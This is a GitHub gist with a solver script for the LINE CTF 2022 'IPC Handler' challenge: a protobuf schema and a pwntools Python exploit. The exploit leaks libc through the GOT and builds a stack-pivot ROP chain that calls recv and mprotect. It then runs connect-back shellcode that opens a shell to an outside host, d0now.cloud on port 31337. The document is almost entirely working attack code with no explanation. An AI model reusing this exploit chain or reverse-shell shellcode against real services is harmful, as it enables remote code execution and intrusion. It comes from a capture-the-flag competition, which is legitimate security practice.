Skip to content

Instantly share code, notes, and snippets.

@d0now
Last active August 23, 2022 06:20
Show Gist options
  • Save d0now/6ae6b89403f745bb1856bcb88a58d5d2 to your computer and use it in GitHub Desktop.
Save d0now/6ae6b89403f745bb1856bcb88a58d5d2 to your computer and use it in GitHub Desktop.
LINE CTF 2022 - "IPC Handler" solver code
syntax = "proto2";
package protocol;
enum valueType {
INT64 = 0x9000;
UINT64 = 0xa000;
STRING = 0x4000;
DATA = 0x5000;
}
message dict_data {
required string key = 1;
required valueType value_type = 2;
required bytes value = 3;
}
message xpc_dictionary_t {
required bytes header = 1;
repeated dict_data data = 2;
}
message XPC {
required int64 conn_id = 1;
repeated xpc_dictionary_t dict = 2;
}
#!/usr/bin/env python3
from pwn import *
context.clear(arch='x86_64')
e = ELF("./ipc_handler")
libc = ELF("libc-2.31.so")
libprotobuf = ELF("./libprotobuf.so.17")
libc.symbols['stack_pivot'] = 0x000000000004f755
libc.symbols['pop_rsi_ret'] = 0x000000000002604f
libc.symbols['pop_rdx_rcx_rbx_ret'] = 0x00000000001025ad
e.symbols['pop_r15_ret'] = 0x0000000000415982
e.symbols['pop_rdi_ret'] = 0x0000000000415983
def connect():
return remote("34.146.163.198", 10003)
def make_xpc(process_name, scalar2=0, scalar1=0, additional=b''):
import protocol_pb2
xpc = protocol_pb2.XPC()
xpc.conn_id = 1
dic = xpc.dict.add()
dic.header = b"XPC!"
data = dic.data.add()
data.key = "process_name"
data.value_type = protocol_pb2.valueType.INT64
data.value = p64(process_name)
data = dic.data.add()
data.key = "scalar2"
if scalar2:
data.value_type = protocol_pb2.valueType.DATA
data.value = p64(scalar2)
else:
data.value_type = protocol_pb2.valueType.UINT64
data.value = b"HELO"
data = dic.data.add()
data.key = "scalar1"
if scalar2:
data.value_type = protocol_pb2.valueType.DATA
data.value = p64(scalar1)
else:
data.value_type = protocol_pb2.valueType.UINT64
data.value = b"HELO"
if additional:
data = dic.data.add()
data.key = ""
data.value_type = protocol_pb2.valueType.DATA
# data.value = b"A"*9 + b"B" * 0x100
data.value = additional
payload = xpc.SerializeToString()
return payload
def send_xpc(payload, no_recv=False, no_close=False):
input("> ")
p = connect()
p.send(payload)
if not no_recv:
try:
ret = p.readuntil("...")
except EOFError:
log.info("EOF")
else:
ret = b''
if no_close:
return p, ret
else:
p.close()
return ret
def get_leak(addr):
p = connect()
payload = make_xpc(addr)
p.send(payload)
leak = p.readuntil(b"(")
leak = p.readuntil(b")")[:-1]
p.close()
return u64(leak.ljust(8, b'\0'))
libc.address = get_leak(e.got['puts']) - libc.symbols['puts']
log.info(f"libc: 0x{libc.address:016x}")
pop_rdi_ret = e.symbols['pop_rdi_ret']
pop_rsi_ret = libc.symbols['pop_rsi_ret']
pop_rdx_rcx_rbx_ret = libc.symbols['pop_rdx_rcx_rbx_ret']
rop = b"BBBBBBBB"
rop += p64(pop_rdi_ret)
rop += p64(4)
rop += p64(pop_rsi_ret)
rop += p64(e.bss(0x800))
rop += p64(pop_rdx_rcx_rbx_ret)
rop += p64(0x200)
rop += p64(0)
rop += p64(0xdeadbeef)
rop += p64(e.plt['recv'])
rop += p64(pop_rdi_ret)
rop += p64(e.bss(0x800) & 0xfffffffffffff000)
rop += p64(pop_rsi_ret)
rop += p64(0x1000)
rop += p64(pop_rdx_rcx_rbx_ret)
rop += p64(7)
rop += p64(0)
rop += p64(0xdeadbeef)
rop += p64(libc.symbols['mprotect'])
rop += p64(e.bss(0x800))
payload = make_xpc(
e.got['puts'],
libc.symbols['stack_pivot'],
e.symbols['pop_r15_ret'],
b"A" * 9 + rop
)
shellcode = shellcraft.amd64.linux.connect("d0now.cloud", 31337, "ipv4")
shellcode += shellcraft.amd64.linux.findpeersh(31337)
shellcode = asm(shellcode)
p, ret = send_xpc(payload, no_recv=True, no_close=True)
sleep(1)
p.sendline(shellcode)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment